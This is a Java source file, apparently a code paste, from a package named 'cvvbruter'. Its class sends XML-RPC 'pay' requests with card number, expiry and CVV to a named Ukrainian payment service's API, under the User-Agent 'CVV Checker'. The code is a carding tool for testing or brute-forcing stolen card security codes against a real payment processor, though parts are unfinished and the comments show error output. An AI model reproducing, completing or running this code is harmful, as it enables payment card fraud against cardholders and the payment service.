package cvvbruter import java io BufferedReader import java io DataOut

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package cvvbruter;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.net.ssl.HttpsURLConnection;
public class Portmone {
protected final String _API_ = "https://www.portmone.com.ua/r3/ru/api/index/index/uid/d75c995c18fdc7b4b4f1217669138944";
protected final String _REQUEST_ACCOUNT_ = "<?xml version='1.0' ?><methodCall><methodName>addBalanceByRequest</methodName><params><param><value><string>{_LOGIN_}</string></value></param><param><value><string>{_PASSWORD_}</string></value></param><param><value><i4>{_CARD_ID_}</i4></value></param><param><value><string>{_CVV_}</string></value></param><param><value><double>{_PAID_}</double></value></param><param><value><i4>{_NUMBER_ID_}</i4></value></param></params></methodCall>";
protected final String _PAY_ = "<?xml version='1.0' ?><methodCall><methodName>pay</methodName><params><param><value><i4>{_COMPANY_ID_}</i4></value></param><param><value><string>{_CARD_NUMBER_}</string></value></param><param><value><string>{_CARD_EXPIRE_}</string></value></param><param><value><string>{_CARD_CVV_}</string></value></param><param><value><double>{_PAID_}</double></value></param><param><value><string>{_NUMBER_}</string></value></param><param><value><string></string></value></param><param><value><string></string></value></param><param><value><string></string></value></param><param><value><string></string></value></param></params></methodCall>";
protected final Pattern str = Pattern.compile("<string>(.*?)</string>");
public String pay(String card, String expire, String cvv2, String company, String paid, String number) {
String req = this.sendPost(this._API_, this._PAY_
.replace("{_COMPANY_ID_}", company)
.replace("{_CARD_NUMBER_}", card)
.replace("{_CARD_EXPIRE_}", expire)
.replace("{_CARD_CVV_}", cvv2)
.replace("{_PAID_}", paid)
.replace("{_NUMBER_}", number)
); //<?xml version="1.0" encoding="UTF-8"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><int>0</int></value></member><member><name>faultString</name><value><string>Несуществующий номер телефона. [Телефон/контракт=987624511]</string></value></member></struct></value></fault></methodResponse>
Matcher m = str.matcher(req);
return m.group(0); //Exception in thread "main" java.lang.IllegalStateException: No match found
}
public String payAccount(String login, String password, String card, String cvv2, String paid, String number) {
return "";
}
protected String sendPost(String uri, String data) {
URL url = null;
HttpsURLConnection conn = null;
DataOutputStream output = null;
StringBuilder resp = new StringBuilder();
try {
url = new URL(uri);
} catch (MalformedURLException ex) {
ex.printStackTrace();
}
try {
conn = (HttpsURLConnection) url.openConnection();
} catch (IOException ex) {
ex.printStackTrace();
}
try {
conn.setRequestMethod("POST");
} catch (ProtocolException ex) {
ex.printStackTrace();
}
conn.setRequestProperty("Content-length", String.valueOf(data.length()));
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("User-Agent", "CVV Checker");
conn.setDoOutput(true);
conn.setDoInput(true);
try {
output = new DataOutputStream(conn.getOutputStream());
output.writeBytes(data);
output.close();
InputStreamReader i = new InputStreamReader(conn.getInputStream(), "UTF-8");
BufferedReader input = new BufferedReader(i);
for(int c = input.read(); c != -1; c = input.read())
resp.append((char) c);
input.close();
} catch (IOException ex) {
ex.printStackTrace();
}
return resp.toString();
}
}